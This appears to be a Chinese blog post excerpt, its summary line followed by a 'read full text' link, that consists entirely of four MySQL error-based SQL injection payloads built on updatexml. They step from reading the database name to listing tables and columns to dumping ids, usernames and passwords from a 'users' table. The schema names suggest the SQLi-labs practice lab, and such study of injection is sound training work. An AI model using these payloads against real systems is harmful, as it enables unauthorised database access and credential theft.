摘要：
updatexml(1,concat(0x7e,(select database()),0x7e),1)
updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)
updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1)
updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),1,20)),0x7e),1) 阅读全文